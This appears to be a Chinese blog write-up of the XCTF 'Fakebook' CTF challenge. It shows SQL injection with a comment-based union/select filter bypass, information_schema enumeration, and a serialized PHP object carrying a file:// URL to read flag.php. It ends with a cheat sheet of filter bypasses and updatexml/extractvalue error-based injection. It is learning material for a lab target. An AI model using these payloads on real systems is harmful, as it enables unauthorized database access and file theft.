攻防世界-高手进阶区之Fakebook

进来页面看到的是这样的东西:

然后先去随便点一下看看东西,这里有个join,想要注册一下内容,但是这个blog的格式不对的话就没办法join

这里就暂时没有什么思路了。

接下来去看看目录有哪些东西:

用kali的dirb或者nikto:

里面有一个bak文件,下载下来解压看一看:

然后大致查阅了一下内容,是说创建user然后从url里get信息,同时blog有一个正则匹配,需要有https://(可有可无),然后是数字和字符,加一个.  然后是2-6个字母,所以随便构造一个http://1.com,这样就可以执行join了!

.

这样就可以join进来了

发现这里的username可以点进去,然后在url看到是一个带有id参数的,这里可以大致猜测一下是否有sql注入的存在:

http://220.249.52.133:52633/view.php?no=1

大致测试一下 no=1 and 1=1 以及 no=1 and 1=2,发现了sql注入的存在。

接下来去判断字段 view.php?no=1 ordey by 4,这里直接写了,用order by 判断字段为4

接下来去用select 去看那个字段可以回显:

这里是union 和select被前端过滤了,然后去网上搜了一下发现用unicode和<>绕过过滤是不可行的,只有/**/union /**/select可以绕过:

view.php?no=-1 /**/union /**/select 1,2,3,4

接下来就是去找数据库名:

view.php?no=-1%20/**/union%20/**/select%201,group_concat(schema_name),3,4%20from%20information_schema.schemata

根据题目名,这个fakebook才是我们想要的数据库:

然后是表:

view.php?no=-1%20/**/union%20/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema="fakebook"

接下来是字段了:

no=-1%20/**/union%20/**/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_schema="fakebook"

然后我们看看data里面有什么东西:

no=-1%20/**/union%20/**/select%201,group_concat(data),3,4%20from%20fakebook.users

可以看到我们上传的http://1.com被序列化了。

至此,其实我就没有什么思路了。

然后去看了一下网上的wp,发现他们在扫描目录的时候,有一个flag.php在/var/www/html里面。

然后采用构造file协议去读取/var/www/html/flag.php的内容:

no=-1%20/**/union%20/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27

这里看到我们的blog写入进去了,然后查看源码:

然后去base64转码一下后面的东西,或者直接打开这个内容:

得到最后的flag

 

 

写在后面,因为手工sql注入不是特别的熟练,所以在此记录一下:

1.爆数据库: group_concat(schema_name) from information_schema.schemata

2.表名 group_concat(table_name) from information_schema.tables where table_schema="前面查出来的"

3.字段 group_concat(column_name) from information_schema.columns where table_schema="前面查出来的"

4.内容 group_concat(xxx) from 表名.字段

 

 

绕过union select 过滤方法:

1./**/ union /**/ select

2.un<>ion sel<>ect

3. %55NiOn  %53eLEct

 

make_set()函数使用:

make_set(3,'a','b','c'),会把3-->0000 0011逆序变成1100 0000,所以会打印前两个字段,即a,b

make_set(2,'a','b','c'),会把2-->0000 0010逆序变成0100 0000,所以会打印第二个字段,即b

所以可以因此构造注入,来绕过某些限制(union select)

make_set(3,'~',gourp_concat(schema_name) from information_schema.schemata,'c') 来显示数据库名,或者字段名等等

 

updateXML函数报错注入:

UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 
第三个参数:new_value,String格式,替换查找到的符合条件的数据 
作用:改变文档中符合条件的节点的值

updatexml(1,group_concat(1,(make_set(3,'~',(select gourp_concat(schema_name) from information_schema.schemata),'c')),1)

可以以报错注入的方式来获取字段or其他信息。

因为第二个参数不符合Xpath路径,所以会返回报错信息,同时会告诉我们字段or其他信息

 

extractvalue()报错注入:

extractvalue(目标xml文档,xml路径)  xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式

如果并非这种格式,则会返回报错信息:

extractvalue('anything',concat('~',database()))

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值